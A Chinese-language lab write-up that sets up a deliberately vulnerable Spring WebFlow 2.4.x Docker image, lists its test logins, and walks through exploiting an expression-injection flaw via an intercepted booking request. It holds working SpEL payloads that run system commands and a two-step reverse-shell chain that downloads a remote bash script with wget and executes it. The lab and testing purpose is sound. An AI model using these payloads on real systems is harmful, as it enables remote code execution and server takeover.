漏洞信息

影响版本

Spring WebFlow 2.4.0 ~ 2.4.4

镜像信息

类型 用户名 密码
测试帐号1 keith melbourne
测试帐号2 erwin leuven
测试帐号3 jeremy atlanta
测试帐号4 scott rochester
登陆地址 /login -
容器tomcat端口 8080 -

获取环境:

1.拉取镜像到本地

$ docker pull medicean/vulapps:s_springwebflow_1

2.启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_springwebflow_1

-p 80:8080 前面的 80 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080

PoC

假定目标地址为: http://127.0.0.1:32773

1.使用测试账号登录目标站 http://127.0.0.1:32773/login

2.随便找一个酒店(http://127.0.0.1:32773/hotels/1),点 Book Hotel

3.填写订单详情,后点击 Proceed 生成订单

注意:Credit Card 这里是 16 位(前端校验)

4.打开 BurpSuite 准备截包

5.用 BurpSuite 捕获点击下图 Confirm 后的数据包

6.在POST数据包中加入下面这段数据:

&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

7.执行成功后会如上图所示,在 HTTP 返回头部中会多出 vulnerable 字段

Exp

执行命令:

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

或者

&_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test

反弹 Shell 步骤:

如果你能改成一次就能反弹Shell的 Exp, 欢迎分享

假定目标地址为: http://127.0.0.1:32774

1.使用 wget 下载远程 bash 脚本

&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.2.140:8000/1")

2.执行上一步下载的脚本

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/1")

参考链接